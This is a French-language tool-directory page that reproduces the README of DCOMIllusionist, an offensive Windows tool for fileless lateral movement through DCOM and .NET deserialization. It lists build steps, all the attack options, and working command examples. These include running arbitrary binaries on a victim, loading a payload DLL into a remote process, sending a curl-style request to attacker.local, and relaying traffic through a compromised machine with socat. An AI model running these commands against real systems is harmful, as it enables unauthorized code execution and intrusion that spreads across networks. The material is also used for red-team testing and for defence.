Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DCOMIllusionist — DCOM en mémoire et techniques de mouvement latéral sans fichier via la désérialisation .Net | Kitploit
Outils/GitHubGitHub/synacktiv/dcomillusionist
Escalade de PrivilègesExploitationMouvement LatéralPost-ExploitationTests d'IntrusionCommandement et ContrôleAuthentificationRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHub
2833310il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
synacktiv/dcomillusionist

DCOMIllusionist

DCOM en mémoire et techniques de mouvement latéral sans fichier via la désérialisation .Net

Voir le dépôt
🎩✨🪄

DCOMIllusionist

Technique de mouvement latéral Windows sans fichier (fileless).

Introduction  •  Compilation  •  Utilisation  •  Détails techniques  •  Remerciements


Introduction

Cet outil permet d'exécuter du code à distance sur une machine Windows, à condition de disposer de privilèges administratifs. Il exploite DCOM et le comportement des serveurs DCOM .NET, qui désérialisent automatiquement les objets entrants. Cela permet d'exécuter des commandes arbitraires ou de charger des DLL sans rien écrire sur le disque.

Découverte à l'origine par James Forshaw comme technique d'élévation de privilèges, cette méthode a été adaptée pour le mouvement latéral en modifiant à distance des clés de registre spécifiques. Elle prend également en charge l'exploitation inter-sessions via DCOM, permettant d'exécuter des commandes arbitraires dans la session d'un autre utilisateur, sous le contexte de sécurité de cette session.

Elle fonctionne sur les postes de travail et les serveurs, mais un accès réseau entre la machine cible et une machine contrôlée par l'attaquant est requis pour que cette technique fonctionne.

Plus de détails dans cette section.

Compilation

Une release est disponible, ou vous pouvez la compiler manuellement :

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Utilisation

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
Un accès administratif est requis à la fois sur la machine de l'attaquant (via un shell élevé) et sur la machine cible pour utiliser cet outil avec succès.

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

Comme expliqué précédemment, une session peut être spécifiée pour exécuter une commande arbitraire dans la session d'un autre utilisateur.

[!WARNING] Cela ne fonctionne qu'avec les AppID configurés pour s'exécuter sous l'identité de l'utilisateur interactif. Ceci est géré automatiquement, il n'est pas nécessaire de spécifier l'argument --appid, car l'outil utilisera par défaut l'AppID associé aux User Account Control Settings.

[!IMPORTANT] Ne fonctionne que si la machine de l'attaquant est jointe à un domaine, plus de détails ici.

--list-sessions

Liste les sessions interactives et actives à distance sur la cible à l'aide de WTSEnumerateSessions.

--listen

Si la machine cible ne peut pas joindre directement la machine de l'attaquant, l'exploit échouera. Il est toutefois possible de spécifier une machine intermédiaire à laquelle la cible peut se connecter. À l'aide d'outils comme socat, le trafic peut ensuite être relayé de cet intermédiaire vers la machine de l'attaquant.

listen

  • Sur la machine compromise :
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • Sur la machine de l'attaquant :
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Lorsque l'exploit est exécuté depuis un shell runas /netonly, l'identité associée ne peut pas être récupérée automatiquement. Il est donc nécessaire de la fournir explicitement à l'aide de l'option --attacker-sid pour que l'attaque réussisse.

--exec

--exec peut être utilisé avec --exec-args pour exécuter des binaires arbitraires sur la cible :

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec n'est qu'un wrapper autour de cela, le même résultat peut être obtenu avec : --ps-exec calc

--curl

Télécharger l’outil